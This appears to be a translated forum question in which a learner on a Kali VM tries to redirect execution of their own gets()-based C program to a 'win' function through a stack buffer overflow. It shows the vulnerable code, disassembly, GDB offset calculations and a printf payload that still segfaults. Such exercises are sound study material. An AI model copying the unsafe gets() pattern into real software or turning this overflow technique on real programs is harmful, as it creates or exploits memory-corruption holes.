Перенаправление потока logi c, используя стек - PullRequest
1 голос
/ 06 апреля 2020

Я пытаюсь изменить rip для перенаправления потока кода в функцию с именем 'win'. Однако многие попытки потерпели неудачу.

Вот код, разборка и системные характеристики:

void return_input (void)
{
        char array[30];
        gets (array);
        printf("%s\n", array);
}

void win (void)
{
    printf("Redirected!\n");
}

int main() {
        return_input();
    return 0; 
}

Compiled using: cc -ggdb overflow.c -o Overflow

Dump of assembler code for function main:
   0x0000555555555180 <+0>: push   %rbp
   0x0000555555555181 <+1>: mov    %rsp,%rbp
   0x0000555555555184 <+4>: callq  0x555555555145 <return_input>
   0x0000555555555189 <+9>: mov    $0x0,%eax
   0x000055555555518e <+14>:    pop    %rbp
   0x000055555555518f <+15>:    retq   

location of win: 0x55555555516d <win>:  -443987883

System specs (I am using a kali vm): 
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
Address sizes:       39 bits physical, 48 bits virtual
Vendor ID:           GenuineIntel
CPU family:          6
Model:               70
Model name:          Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz

С p / d 0x7fffffffe148-0x7fffffffe120 в GDB я обнаружил, что требуемый отступ равен 40.

Итак, я придумал это: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6d\x51\x55\x55\x55\x55\x00\x00 Затем printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6d\x51\x55\x55\x55\x55\x00\x00' | ./Overflow

printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6d\x51\x55\x55\x55\x55\x00\x00' |
  ./TheOver AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmQUUUU
 Segmentation fault

Я также попытался echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6d\x51\x55\x55\x55\x55\x00\x00' | ./TheOver

И не сработало, поэтому я подумал, что это не проблема ...

Редактировать: До и после стека и информационного фрейма: enter image description here

...